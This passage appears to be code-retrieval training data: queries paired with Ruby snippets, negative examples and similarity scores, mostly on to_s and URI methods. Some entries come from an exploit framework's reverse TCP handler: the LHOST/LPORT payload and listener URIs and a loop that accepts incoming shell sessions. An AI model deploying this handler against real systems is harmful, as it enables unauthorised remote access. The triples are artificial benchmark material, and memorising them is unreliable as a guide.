s\r\n\tend", "def to_s()\r\n\t\ts = \"\"\r\n\t\tif @cuerpo != nil\r\n\t\t\ts << @cuerpo.to_s(0) + \"\\n\"\r\n\r\n\t\telse\r\n\t\t\ts = \"Block\"\r\n\t\tend\r\n\t\treturn s\r\n\tend", "def to_s\n \"#{@name} - #{@sign}\"\n end", "def to_s\n \"\\n\\tTitle: #{@title}\\n\n \\tAuthor: #{@author}\\n\n \\tUrl: #{@url}\\n\\n\"\n end", "def to_s\n\t\ts = \"\"\n\t\t\n s += super + \"\\n\\n\"\n\n s += \"Emisiones de gases en kg CO2 \" + emisiones_gei.to_s + \"\\n\"\n\n s+= \"Cantidad de terreno empleado en m2 \" + area_terreno.to_s + \"\\n\"\n\tend", "def to_s\n output || content || \"\"\n end", "def to_s\n \"First name: #{@first_name}, Last Name: #{@last_name},\" \\\n \" Username: #{@username}, Email Address: #{email}\"\n end", "def to_s\n Array(render).map(&:to_s).join(\"\\n\")\n end", "def to_s\n #Build the string we are going to print\n \ts=\"\"\n\ts=@name+\" \"+@calories.to_s\n\ts\n end", "def to_s\n\t\ts = \"El jugador \" + @nombre + \" con de la estrategia Manual\"\n\tend" ]
[ "0.7143428", "0.6978515", "0.6970994", "0.6902787", "0.6883123", "0.6868609", "0.6845904", "0.6808934", "0.6791878", "0.6788074", "0.67876154", "0.67875713", "0.6786277", "0.6786277", "0.6786277", "0.6786277", "0.67828447", "0.677699", "0.6754529", "0.674938", "0.67454743", "0.67441046", "0.6743837", "0.6733018", "0.6715382", "0.6715382", "0.671125", "0.6685269", "0.6672688", "0.6669767", "0.6669767", "0.66691804", "0.66439223", "0.66439223", "0.66439223", "0.66439223", "0.6643293", "0.6642103", "0.66371197", "0.66371197", "0.6629314", "0.6628692", "0.66270536", "0.6621003", "0.6618212", "0.66075677", "0.66075677", "0.6600825", "0.6600825", "0.6598528", "0.6595479", "0.659268", "0.659268", "0.65926254", "0.6579388", "0.65675986", "0.65675986", "0.65617883", "0.65541595", "0.6548985", "0.6548985", "0.6548985", "0.6548985", "0.6546673", "0.6533697", "0.65261894", "0.6522599", "0.6519178", "0.65185994", "0.65185994", "0.6507832", "0.6502235", "0.6500132", "0.64977545", "0.64953107", "0.6493705", "0.6487287", "0.64852464", "0.6484322", "0.64736134", "0.6468939", "0.64630336", "0.64593333", "0.64543974", "0.6450572", "0.6449136", "0.6446508", "0.6438947", "0.64388955", "0.643747", "0.6429688", "0.6428462", "0.6428462", "0.6428227", "0.64207095", "0.6418867", "0.6416197", "0.6411165", "0.6410233", "0.64063436", "0.6402175" ]
0.0
-1
A URI describing what the payload is configured to use for transport
def payload_uri addr = datastore['LHOST'] uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{datastore['LPORT']}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def uri_endpoint\n URI( self.endpoint )\n end", "def endpoint\n \"#{@scheme}://#{@host}#{@path}\"\n end", "def uri\n \"http://#{hostname}:#{port}#{path}\"\n end", "def uri\n uri_for({}, nil)\n end", "def uri\n URI::Generic.build(host: addr, port: port)\n end", "def uri\n URI::Generic.build(host: addr, port: port)\n end", "def request_uri; end", "def uri\n @uri.to_s\n end", "def uri\n @uri\n end", "def uri\n @uri\n end", "def uri\n uri_prefix + Digest::MD5.hexdigest(self.address)\n end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri\n @uri\n end", "def uri\n @uri\n end", "def url\n URI.parse(endpoint).join(path.to_s).to_s\n end", "def uri_host; end", "def uri\n raise NotImplementedError\n end", "def to_uri\n build_uri\n end", "def snapshots_transport_destination_url; end", "def uri\n params = {\n center: location,\n size: size,\n zoom: zoom,\n format: file_format,\n sensor: sensor.to_s\n }\n Addressable::URI.parse(api_endpoint).tap do |uri|\n uri.query_values = params\n end.to_s\n end", "def to_addressable_uri\n @uri\n end", "def target_uri\n \"#{@configuration.protocol}://#{@configuration.host}\"\n end", "def endpoint\n @endpoint||= \"#{@scheme}://#{@host}#{@path}\"\n end", "def uri\n \"#{base_uri}#{path}\"\n end", "def uri_base\n \"http#{'s' if @options[:ssl]}://#{@options[:host]}\"\n end", "def resolved_uri; end", "def uri\n \n end", "def uri\n \"#{@@config[:base_uri]}#{id}\"\n end", "def uri\n opts[:uri]\n end", "def url\n uri.to_s\n end", "def to_s\n uri\n end", "def full_uri\n \"#{host_uri}#{uri}\"\n end", "def get_uri\n request_object.uri\n end", "def url\n uri.to_s\n end", "def uri\n return @uri\n end", "def uri\n return @uri\n end", "def url\n uri\n end", "def url\n uri\n end", "def uri\n URI.new :scheme => scheme,\n :host => host,\n :path => path,\n :query => query\n end", "def uri\n self + \"\"\n end", "def uri\n self + \"\"\n end", "def uri\n adapter_connection.uri\n end", "def url\n Addressable::URI.new :scheme => 'http',\n :host => endpoint.host,\n :path => '/onca/xml',\n :query_values => parameters\n end", "def uri\n @uri ||= resource_template.uri_for(params, application.base)\n end", "def uri\n attributes.fetch(:uri)\n end", "def uri\n attributes.fetch(:uri)\n end", "def uri\n ::Spyke::Path.new(@uri_template, fmrest_uri_attributes) if @uri_template\n end", "def to_s\n uri_string\n end", "def uri\n 'http://%s:%d' % [host, port]\n end", "def request_uri\n @request.uri\n end", "def payload_uri\n addr = datastore['LHOST']\n uri_host = Rex::Socket.is_ipv6?(addr) ? \"[#{addr}]\" : addr\n \"udp://#{uri_host}:#{datastore['LPORT']}\"\n end", "def uri!\n @uri = URI.parse \"#{@config.http_scheme}://#{@config.host}:#{@config.port}/api/#{@config.api_version}/\"\n end", "def endpoint\n \"#{scheme}://#{host}#{suffix}#{reverse_proxy_path}\"\n end", "def service_uri\n \"#{host}#{service_path}\"\n end", "def uri\n read_attr :uri\n end", "def endpoint\n connection.url_prefix\n end", "def url\n connection.build_url(url_chunk, params).to_s\n end", "def uri\n nil\n end", "def path\n @uri.request_uri\n end", "def get\n uri\n super()\n end", "def get\n uri\n super()\n end", "def get\n uri\n super()\n end", "def public_transport_options_url\n url(:public_transport_options)\n end", "def request_uri(resource, options)\n @format = options[:format] || :json\n URI.mixpanel(resource, normalize_options(options))\n end", "def endpoint\n data[:endpoint]\n end", "def endpoint\n data[:endpoint]\n end", "def url\n endpoint+'?'+query_string\n end", "def to_s\n uri.to_s\n end", "def url\n URI.parse(\"#{protocol}://#{host}:#{port}#{store_uri}\")\n end", "def rest_url_document\n template = ::Addressable::Template.new(current_resource.class.rest_api_document)\n template.expand(property_map).to_s\n end", "def api_uri\n options.endpoint\n end", "def uri\n RightScaleAPI::Client.base_uri + path\n end", "def inspect\n sprintf(\"#<%s:%#0x URI:%s>\", URI.to_s, self.object_id, self.to_s)\n end", "def request_uri\n calculate_uri(@http_request.url)\n end", "def resource_uri\n \"#{resource_name}/#{uid}\"\n end", "def http_uri\n \"http://#{hostname}/\"\n end", "def getURI()\n return @uri.to_s\n end", "def uri\n \"http://example.com#{base_path}#{anchor}\"\n end", "def snapshots_transport_destination_url=(_arg0); end", "def to_s\n @uri\n end", "def uri\n @subject.respond_to?(:to_uri) ? @subject : nil\n end", "def url(params)\n \"%s%s\" % [config['endpoint'], query_string(params)]\n end", "def to_s\n reconstruct_uri\n end", "def proxy_uri; end", "def proxy_uri; end", "def server_url\n @uri\n end", "def uri\n raise InterfaceError, 'Base url is require to generate full uri.' unless @base_url\n return @base_url if @uri_parameters.nil? || @uri_parameters.empty?\n params_with_values = []\n @uri_parameters.each {|k,v| params_with_values << \"#{k}=#{v}\"}\n @base_url+'?'+params_with_values.join('&')\n end", "def endpoint; end", "def endpoint; end" ]
[ "0.7325379", "0.7067541", "0.69362664", "0.68755907", "0.6833908", "0.6833908", "0.6822668", "0.68175066", "0.6815521", "0.6815521", "0.6805717", "0.678122", "0.678122", "0.678122", "0.678122", "0.678122", "0.678122", "0.678122", "0.678122", "0.678122", "0.678122", "0.678122", "0.678122", "0.6763976", "0.6763976", "0.67486036", "0.673861", "0.6705977", "0.6644893", "0.6627853", "0.6620545", "0.6606192", "0.6600766", "0.66002905", "0.6589037", "0.65855", "0.6558629", "0.6550489", "0.6547788", "0.65353304", "0.65180874", "0.6517721", "0.651509", "0.6490332", "0.6461782", "0.64471924", "0.64471924", "0.6445935", "0.6445935", "0.64322186", "0.6431361", "0.6431361", "0.64234453", "0.6419571", "0.6413497", "0.64115113", "0.64115113", "0.6408766", "0.640847", "0.63844556", "0.637084", "0.63509166", "0.6326855", "0.6311654", "0.6299236", "0.6283372", "0.62702554", "0.6250365", "0.62439626", "0.62348485", "0.62255377", "0.62255377", "0.62255377", "0.6224707", "0.6207583", "0.62073076", "0.62073076", "0.6207116", "0.6200179", "0.6197584", "0.6164366", "0.6160733", "0.6160473", "0.6132175", "0.6130285", "0.6129369", "0.61247545", "0.6120321", "0.6113992", "0.6106142", "0.609827", "0.60979366", "0.6092292", "0.60907423", "0.6090444", "0.6090444", "0.6065485", "0.6059937", "0.60537803", "0.60537803" ]
0.68975073
3
A URI describing where we are listening
def listener_uri(addr = datastore['ReverseListenerBindAddress']) addr = datastore['LHOST'] if addr.nil? || addr.empty? uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{bind_port}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def uri(location, options={})\n ops = resolve_defaults(options)\n @listener.register(location, ops[:handler], ops[:in_front])\n end", "def listener_uri(addr = datastore['ReverseListenerBindAddress'])\n addr = datastore['LHOST'] if addr.nil? || addr.empty?\n uri_host = Rex::Socket.is_ipv6?(addr) ? \"[#{addr}]\" : addr\n \"udp://#{uri_host}:#{bind_port}\"\n end", "def listener_endpoint\n data[:listener_endpoint]\n end", "def listen\r\n end", "def listen\n # TODO\n self\n end", "def listen(p0) end", "def listen(p0) end", "def listen(p0) end", "def port\n @uri.port\n end", "def agent_listen_address\n super\n end", "def uri\n URI::Generic.build(host: addr, port: port)\n end", "def uri\n URI::Generic.build(host: addr, port: port)\n end", "def listening?; end", "def url\n \"#{addr}:#{port}\"\n end", "def define_listening\n end", "def uri\n @uri\n end", "def uri\n @uri\n end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri; end", "def uri\n \n end", "def uri\n @uri\n end", "def uri\n @uri\n end", "def uri_host; end", "def server_url\n @uri\n end", "def uri\n 'http://%s:%d' % [host, port]\n end", "def uri\n @uri ||= File.join(self.class.base_uri, channel)\n end", "def port\n @hash[\"Listen\"].to_i\n end", "def uri\n \"http://#{hostname}:#{port}#{path}\"\n end", "def monitor_uri(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"monitor-uri \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "def trace_observer_uri\n if trace_observer_configured?\n URI(\"#{trace_observer_scheme}://#{trace_observer_host_and_port}\")\n else\n NewRelic::Agent.logger.error(TRACE_OBSERVER_NOT_CONFIGURED_ERROR)\n raise TRACE_OBSERVER_NOT_CONFIGURED_ERROR\n end\n end", "def listening\n make_promise(@core.web3.JS[:net], 'getListening')\n end", "def uri\n raise NotImplementedError\n end", "def uri\n 'matches'\n end", "def stream_uri\n @stream_uri\n end", "def uri\n @uri.to_s\n end", "def getPort()\n return @uri.port\n end", "def uri_endpoint\n URI( self.endpoint )\n end", "def uri\n return @uri\n end", "def uri\n return @uri\n end", "def listening?\n true\n end", "def port\n 7779\n end", "def listen parameters = {}\n\t\t# update default values\n\t\tparameters[:index_file] ||= 'index.html'\n\t\tparameters[:assets_public] ||= '/assets'\n\t\tparameters[:assets_public].chomp! '/'\n\t\tparameters[:public] ||= parameters[:root] # backwards compatability\n\t\tputs \"Warning: 'root' option is being depracated. use 'public' instead.\" if parameters[:root]\n\n\t\tunless parameters[:upgrade_handler]\n\t\t\tparameters[:http_handler] = ::Plezi::Base::HTTPRouter.new\n\t\t\tparameters[:upgrade_handler] = parameters[:http_handler].upgrade_proc\n\t\t\t#??? else @active_router.delete :alias\n\t\tend\n\t\t# check if the port is used twice.\n\t\t@routers_locker.synchronize do\n\t\t\t@active_router = GRHttp.listen(parameters)\n\t\t\t@routers << @active_router[:http_handler]\n\t\t\tif parameters != @active_router\n\t\t\t\tparameters[:http_handler] = @active_router[:http_handler]\n\t\t\t\tparameters[:upgrade_handler] = @active_router[:upgrade_handler]\n\t\t\tend\n\t\t\t@active_router = @active_router[:http_handler]\n\t\t\t@active_router.add_host( parameters[:host], parameters )\n\t\tend\n\t\t# return the current handler or the protocol..\n\t\t@active_router\n\tend", "def broadcast_server\n if request.port.to_i != 80\n \"http://realitylabs-server.herokuapp.com:80/faye\"\n else\n \"http://realitylabs-server.herokuapp.com/faye\"\n end \n end", "def endpoint\n connection.url_prefix\n end", "def here\n\n \"#{request.scheme}://#{request.host}:#{request.port}\" +\n \"#{request.fullpath}\"\n end", "def request_uri; end", "def streaming_endpoint\n encoded_url = URI.encode(\"#{SITE_URL}#{STREAM_URL}\".strip)\n URI.parse(encoded_url)\n end", "def listen\n raise NotImplementedError.new(\"Implement listen() in your Invoker. \")\n end", "def vayacondios_topic\n \"listeners.#{name}\"\n end", "def uri\n opts[:uri]\n end", "def getUri_withReplyEvent(event, reply)\n uri = event.paramDescriptorForKeyword('----'.to_fcc).stringValue\n dest = process(uri)\n `open '#{dest}'` if dest\n end", "def resolved_uri; end", "def uri\n read_attr :uri\n end", "def listen\n connect do\n loop_routes do |route|\n if args = @client.retrieve(route)\n run(route, args)\n end\n end\n end\n end", "def uri\n # special parsing is done to remove the protocol, host, and port that\n # some Handlers leave in there. (Fixes inconsistencies.)\n URI.parse(self.env['REQUEST_URI'] || self.env['PATH_INFO']).path\n end", "def raw_host_with_port; end", "def url\n @watch.href\n end", "def url\n @watch.href\n end", "def uri\n File.join(self.scope, self.to_param)\n end", "def url\n uri\n end", "def url\n uri\n end", "def endpoint\n ENDPOINT[server]\n end", "def endpoint\n \"#{@scheme}://#{@host}#{@path}\"\n end", "def addr\n\t\t[@af, path]\n\tend", "def listen\n #Start listening for input.\n start_listen\n\n #Start listening for errors.\n start_listen_errors\n end", "def uri\n adapter_connection.uri\n end", "def start_listener!\n memoize(\"#{args[:bind]}-#{args[:port]}\", :global) do\n build_listener do |req|\n begin\n msg = build_message(req)\n # Start with static path lookup since it's the\n # cheapest, then fallback to iterative globbing\n msg_queue = nil\n unless(msg_queue = message_queues[\"#{req.path}-#{req.method.to_s.downcase}\"])\n message_queues.each do |k,v|\n path_glob, http_method = k.split('-')\n if(req.method.to_s.downcase == http_method && File.fnmatch(path_glob, req.path))\n msg_queue = v\n end\n end\n end\n if(msg_queue)\n if(authorized?(msg))\n msg_queue[:queue] << msg\n if(msg_queue[:config][:auto_respond])\n code = msg_queue[:config].fetch(:response, :code, 'ok').to_sym\n response = msg_queue[:config].fetch(:response, :message, 'So long and thanks for all the fish!')\n req.respond(code, response)\n end\n else\n req.respond(:unauthorized, 'You are not authorized to perform requested action!')\n end\n else\n req.respond(:not_found, 'Requested path not found!')\n end\n rescue Zoidberg::DeadException\n raise\n rescue => e\n req.respond(:bad_request, \"Failed to process request -> #{e}\")\n puts \"#{e}\\n#{e.backtrace.join(\"\\n\")}\"\n end\n end\n end\n end", "def path\n @uri.request_uri\n end", "def uri\n uri_for({}, nil)\n end", "def service_uri\n 'rosrpc://' + @server.host + ':' + @server.port.to_s\n end", "def available_endpoint\n \"0.0.0.0:#{available_port}\"\n end", "def url\n uri.to_s\n end", "def listen_to(io, &callback); end", "def registerUriHook\n OSX::NSAppleEventManager.sharedAppleEventManager.\n setEventHandler_andSelector_forEventClass_andEventID_(\n self, :getUri_withReplyEvent, 'GURL'.to_fcc, 'GURL'.to_fcc)\n end", "def path_uri(path = \"/\")\n p = @server.path_uri(\"/#{name}\")\n path ? p << \"/#{path}\" : p\n end", "def activity_stream_uri\n \"filters/#{name}/activity\"\n end", "def url\n '%s://%s%s' % [\n self.scheme,\n self.host,\n self.port_default? ? '' : (':%d' % self.port)\n ]\n end", "def uri\n connection&.uri\n end", "def callback_uri\n return @callback_uri\n end", "def set_listen\n @listen = Listen.find(params[:id])\n end", "def peeraddr\n\t\tif self.instance_of?(UNIXServer) \n\t\t\traise Errno::ENOTCONN, \"Transport endpoint is not connected - getpeername(2)\", caller\n\t\telse\n\t\t\t[@af,@path]\n\t\tend\n\tend", "def request_uri\n @request.uri\n end", "def endpoint\n \"https://#{@host}:#{@port}/wsman\"\n end", "def listen\n @multi_node.listen\n end", "def uri\n nil\n end", "def host_with_port; end", "def url\n \"http://#{@host}:#{@port}\"\n end", "def url\n uri.to_s\n end", "def uri\n self + \"\"\n end", "def uri\n self + \"\"\n end" ]
[ "0.7068179", "0.6658383", "0.65697294", "0.64794505", "0.6290014", "0.6240302", "0.6240302", "0.6240302", "0.62150824", "0.6081083", "0.60782856", "0.60782856", "0.6043254", "0.6019149", "0.60067594", "0.5982672", "0.5982672", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5911158", "0.5910996", "0.589865", "0.589865", "0.58642626", "0.58527946", "0.58477044", "0.5841832", "0.5836766", "0.5817035", "0.58101314", "0.5796239", "0.5746215", "0.5718763", "0.5703891", "0.56614596", "0.5659548", "0.56545514", "0.5626277", "0.5623716", "0.5623716", "0.5608997", "0.5594073", "0.5579464", "0.55576295", "0.55194265", "0.55133694", "0.5508073", "0.5504089", "0.5500343", "0.548236", "0.5471185", "0.5469552", "0.5463631", "0.5459889", "0.54555815", "0.54315394", "0.54222924", "0.54212725", "0.54212725", "0.541792", "0.5417044", "0.5417044", "0.5416437", "0.53950167", "0.53859365", "0.53855014", "0.5381845", "0.53768617", "0.5364169", "0.5360124", "0.5352866", "0.53486407", "0.5346985", "0.5345392", "0.5344133", "0.5344023", "0.5339094", "0.53357214", "0.5322442", "0.53212893", "0.53139925", "0.53133065", "0.5304706", "0.5298441", "0.5297482", "0.5296464", "0.52961016", "0.5283227", "0.5282426", "0.5276668", "0.5276668" ]
0.7039041
1
Starts monitoring for an inbound connection.
def start_handler queue = ::Queue.new local_port = bind_port handler_name = "ReverseTcpHandlerListener-#{local_port}" self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue| loop do # Accept a client connection begin client = listener_sock.accept if client self.pending_connections += 1 lqueue.push(client) end rescue Errno::ENOTCONN nil rescue StandardError => e wlog [ "#{handler_name}: Exception raised during listener accept: #{e.class}", $ERROR_INFO.to_s, $ERROR_POSITION.join("\n") ].join("\n") end end } worker_name = "ReverseTcpHandlerWorker-#{local_port}" self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| loop do begin client = cqueue.pop unless client elog("#{worker_name}: Queue returned an empty result, exiting...") end # Timeout and datastore options need to be passed through to the client opts = { datastore: datastore, expiration: datastore['SessionExpirationTimeout'].to_i, comm_timeout: datastore['SessionCommunicationTimeout'].to_i, retry_total: datastore['SessionRetryTotal'].to_i, retry_wait: datastore['SessionRetryWait'].to_i } if datastore['ReverseListenerThreaded'] thread_name = "#{worker_name}-#{client.peerhost}" conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy| handle_connection(wrap_aes_socket(client_copy), opts) end else handle_connection(wrap_aes_socket(client), opts) end rescue StandardError => e elog('Exception raised from handle_connection', error: e) end end } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_monitoring_connection\n @connection_monitor_thread ||= Thread.new{monitor_connection}\n @connection_monitor_thread.abort_on_exception = true\n end", "def start\n while @mStatus <= 0\n connect\n monitor\n sleep 5\n end\n end", "def start()\n #start listening\n @transport.monitor do |rmsg,header,payload|\n consume(rmsg,header,payload)\n end\n end", "def start\n connect\n @last_alive = Time.now\n @listener = Thread.new do\n while true\n begin\n @last_alive = Time.now if @hub.fetch_command\n\n if Time.now > @last_alive + @keepalive_timeout\n @logger.error \"connection lost\" if @logger\n @last_alive = Time.now\n reconnect\n end\n\n rescue Exception => e\n exit if e.class == Interrupt\n puts e.message\n puts e.backtrace.join(\"\\n\")\n break\n end\n end\n end\n end", "def start\n unless @running\n @connections.each { |conn| conn.start(@start_bytes) }\n @running = true\n end\n end", "def handle_monitor_connection request\n @node.connections.select {|c| c.connected?}.each do |conn|\n respond(request, [:connection, [:connected, conn.info]])\n end\n end", "def connect\n start_listener!\n end", "def start\n _connect\n sleep 1\n end", "def start\n Socket.accept_loop(@tcpserver) do |connection|\n SLogger.debug(\"[server] accepted a new connection (#{connection})\")\n\n self.session.connection = connection\n self.handle_connection(connection)\n end\n rescue IOError\n Thread.exit\n end", "def start\n self.connect\n self.login if @connected\n end", "def checkin_connection(conn)\n @available_connections << conn\n if USE_WAITER\n @waiter.signal\n Thread.pass\n end\n conn\n end", "def connect\n connection.tap do |c|\n c.start\n end\n end", "def on_open(event)\n logger.debug 'Socket opened'\n @connected = true\n end", "def start_monitoring\n @scheduler.start()\n end", "def start\n loop do\n begin\n socket = tcp_server.accept\n\n handle_request(socket)\n ensure\n socket.close\n end\n end\n end", "def start\n return if active?\n begin\n @subject.start\n rescue Errno::ECONNRESET\n raise EventSource::Protocols::Amqp::Error::ConnectionError,\n \"Connection failed. network error to: #{connection_params}\"\n rescue Bunny::TCPConnectionFailed\n raise EventSource::Protocols::Amqp::Error::ConnectionError,\n \"Connection failed to: #{connection_params}\"\n rescue Bunny::PossibleAuthenticationFailureError\n raise EventSource::Protocols::Amqp::Error::AuthenticationError,\n \"Likely athentication failure for account: #{@subject.user}\"\n rescue StandardError\n raise EventSource::Protocols::Amqp::Error::ConnectionError,\n \"Unable to connect to: #{connection_params}\"\n else\n sleep 1.0\n logger.info \"Connection #{connection_uri} started.\" if active?\n active?\n end\n end", "def start_listening\n # If socket's already dead (probably couldn't connect to server), don't\n # try to listen!\n if @irc.dead_socket\n $stderr.puts \"Dead socket, can't start listening!\"\n end\n\n @irc.start_listening\n end", "def start\n @monitor = SerialPortMonitor.new @dev, @baud, @databits, @stopbits, @parity\n\n # Ye olde reactor loop\n EventMachine.run do\n \n EventMachine.start_server @host, @port, Connection, @monitor\n \n\n @thread = Thread.new {\n @monitor.run\n }\n\n puts \"SerialPortProxy started at #{@dev} serving to #{@host}:#{@port}\"\n end\n\n end", "def listen\n @inbound = @socket.gets\n puts '>> ' << @inbound\n\n # Stay connected to the server.\n if @inbound =~ /^PING (?<msg>.*)$/\n pong = Regexp.last_match[:msg]\n send \"PONG #{pong}\"\n end\n\n # Respond to messages in the channel.\n @listeners.each do |listener|\n listener.response.call if @inbound.match listener.pattern\n end\n end", "def start_monitor\n self.monitor = monitor_thread if not self.monitor\n end", "def start_accepting_requests\n\t\tself.log.info \"Starting the request loop.\"\n\t\tself.reactor.start_polling( ignore_interrupts: true )\n\tend", "def connectionStart(conn)\n\n port, host = conn.peeraddr[1,2]\n client = \"#{host}:#{port}\"\n #puts \"#{client} is connected\"\n $counter=$counter + 1\n $maxConnections = $maxConnections + 1\n puts $counter.to_s+\" clients connected\"\n $logger.info \"#{client} has connected\"\n $logger.info $counter.to_s+\" clients connected\"\nend", "def start_monitor\n @thread = Thread.start { monitor }\n end", "def start\n subscribe &Proc.new { |message| listener(message) }\n end", "def start\n $0 = \"vines: #{@id}\"\n\n @connection.connect\n @publisher.broadcast(:online)\n @subscriber.subscribe\n\n EM.add_periodic_timer(1) { heartbeat }\n\n at_exit do\n @publisher.broadcast(:offline)\n @sessions.delete_all(@id)\n end\n end", "def start\n @io_reactor.start.flat_map { connect_all }.map(self)\n end", "def listen\n #Start listening for input.\n start_listen\n\n #Start listening for errors.\n start_listen_errors\n end", "def initiate_connection\n Retriable.retriable on: [Errno::ECONNREFUSED, Errno::EHOSTUNREACH] do\n TCPSocket.new(ip, port).close\n end\n end", "def checkin_connection(conn)\n @available_connections << conn\n conn\n end", "def open_listener\n @listener = PCAPRUB::Pcap.open_live(IFACE, 65535, false, 1)\n @listener.setfilter(\"tcp port #{@port} and tcp[tcpflags] & tcp-ack != 0\")\n end", "def on_open(event)\n logger.debug 'Socket opened'\n @connected = true\n dispatch('command' => 'session_started')\n end", "def start\n Thread.new do\n loop do\n @connection.wait_for_notify do |channel|\n @actions[channel].call\n end\n end\n end\n end", "def start\n if (!self.relay_thread)\n self.relay_thread = Rex::ThreadFactory.spawn(\"LocalRelay\", false) {\n begin\n monitor_relays\n rescue ::Exception => e\n elog(\"Error in #{self} monitor_relays\", 'rex', error: e)\n end\n }\n end\n end", "def startServer()\n\tserver = TCPServer.open($ports[$hostname])\n\tloop {\n\t\tThread.start(server.accept) do |client|\n\t \treceiveMessage(client)\n\t\tend\n\t}\nend", "def checkin_connection(conn)\n @queue.push(conn)\n conn\n end", "def start\n return unless stopped?\n @stopped = false\n @adapter.opening\n run_input_thread\n end", "def start\n lock.synchronize do\n return if started.value\n\n started.value = true\n workers[:maintenance] = Thread.new { loop { check_timeouts } }\n workers[:listener] = Thread.new { loop { listen } }\n end\n end", "def aws_security_group_enable_inbound(opts)\n opts[:security_group].authorize_ingress(:tcp, 20..8080)\n end", "def connected\n\t\tdo_send('CN1')\t# Connection command - initiate comms\n\t\n\t\t@polling_timer = schedule.every('60s') do\n\t\t\tlogger.debug \"Polling JVC\"\n\t\t\tdo_send('CN1')\t# Connection command\n\t\tend\n\tend", "def connect\n unless @connected\n once('report_version', ->() do\n once('firmware_query', ->() do\n once('capability_query', ->() do\n once('analog_mapping_query', ->() do\n\n 2.times { |i| toggle_pin_reporting(i) }\n\n @connected = true\n emit('ready')\n end)\n query_analog_mapping\n end)\n query_capabilities\n end)\n end)\n\n until connected?\n read_and_process\n delay(0.5)\n end\n end\n\n self\n end", "def start_acceptor!\n\t\t$threads << @acceptor = Thread.new() do\n\t\t\twhile true\n\t\t\t\tif new_connection = @server.accept\n\t\t\t\t\tputs \"New connection accepted: #{new_connection}\"\n\t\t\t\t\t@connections << new_connection #Save any inbound\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def start()\n if @testing \n return test\n end\n\n # Loop until the user interrupts us\n cmd = \"/usr/bin/ovs-ofctl show br-int | grep addr:\"\n while true\n output = `cmd`\n process_output(output)\n sleep @interval\n end\n end", "def start_accepting_requests\n\t\tself.start_heartbeat\n\t\tsuper\n\tend", "def start\n begin\n socket = connect()\n rescue NotAuthorized => e\n return nil\n rescue Errno::ECONNREFUSED => e\n puts \"The connection was refused (#{e.to_s}). Goodbye.\"\n return nil\n rescue => e\n puts \"Failed to connect: #{e.to_s}\\n #{$@}\"\n return nil\n end\n\n return nil unless socket\n\n begin\n listen_thread =\n Thread.new do\n print '> '\n STDOUT.flush\n loop do\n scribe( socket )\n end\n end\n\n loop do\n deliver( socket )\n end\n\n rescue => e\n puts \"An error occured: #{e.to_s}\\n #{$@}\"\n ensure\n listen_thread.kill if listen_thread\n disconnect( socket )\n end\n end", "def start\n @state = STARTED\n logger.info \"Starting producer with host_params:#{@host_params}\"\n @connection_start_time = Time.new\n @stomp = start_server(@host_params, @options.user, @options.passwd)\n rescue => e\n logger.error \"Error occurred while starting a connection: #{e}\\n #{e.backtrace.join(\"\\n\")}\"\n end", "def started(event)\n if logger.debug?\n _prefix = prefix(event,\n connection_generation: event.connection_generation,\n connection_id: event.connection_id,\n server_connection_id: event.server_connection_id,\n )\n log_debug(\"#{_prefix} | STARTED | #{format_command(event.command)}\")\n end\n end", "def start\n catch(:stop) do\n @poll_waiter.poll do\n read_events\n end\n end\n end", "def start\n @logger.debug { \"Opening server\" }\n @tcp_server = TCPServer.new(@ip, @port)\n @logger.debug { \"Listening to #{@ip} port #{@port}\n pointing #{ROOT_DIR}\" }\n\n answer_worker = AnswerWorker.new\n client = nil\n loop do\n begin\n client = @tcp_server.accept\n @logger.debug { \"Server accepted new request\" }\n answer_worker.start(client)\n rescue Interrupt => e\n @logger.debug { \"Closing program\" }\n exit\n rescue Exception => e\n @logger.debug { \"Exception caught:\" }\n @logger.debug { e }\n end\n end\n stop\n end", "def start\n\n self.listener = Rex::Socket::TcpServer.create(\n 'LocalHost' => self.listen_host,\n 'LocalPort' => self.listen_port,\n 'Context' => self.context,\n 'SSL' => self.ssl,\n 'SSLCert' => self.ssl_cert,\n 'SSLCompression' => self.ssl_compression,\n 'SSLCipher' => self.ssl_cipher,\n 'Comm' => self.comm\n )\n\n # Register callbacks\n self.listener.on_client_connect_proc = Proc.new { |cli|\n on_client_connect(cli)\n }\n self.listener.on_client_data_proc = Proc.new { |cli|\n on_client_data(cli)\n }\n\n self.listener.start\n end", "def start_listening\n # We don't want to spawn an extra listener\n return if Thread === @ioloop_thread\n\n # Don't listen if socket is dead\n return if @dead_socket\n\n # Build forced / magic logic - welcome setting @me, ping response, etc.\n # Since we do these here, nobody can skip them and they're always first.\n setup_magic_handlers\n\n # Begin the listening thread\n @ioloop_thread = Thread.new {io_loop}\n @input_processor = Thread.new {process_input_loop}\n @privmsg_processor = Thread.new {process_privmsg_loop}\n\n # Let's begin the cycle by telling the server who we are. This should\n # start a TERRIBLE CHAIN OF EVENTS!!!\n handle(:outgoing_begin_connection, @username, @address, @realname)\n end", "def online\n gateway_check\n update_status(:online, @activity, @streamurl)\n end", "def open\n if(self.alive?)\n return false\n end\n \n @stat=Event::LINK_ESTABLISHING\n begin\n @socket=TCPsocket::open(@server,@port)\n rescue StandardError,SocketError\n @stat=Event::LINK_FAILED\n notify(@stat)\n return false\n end\n \n #\n # start thread for reading\n #\n 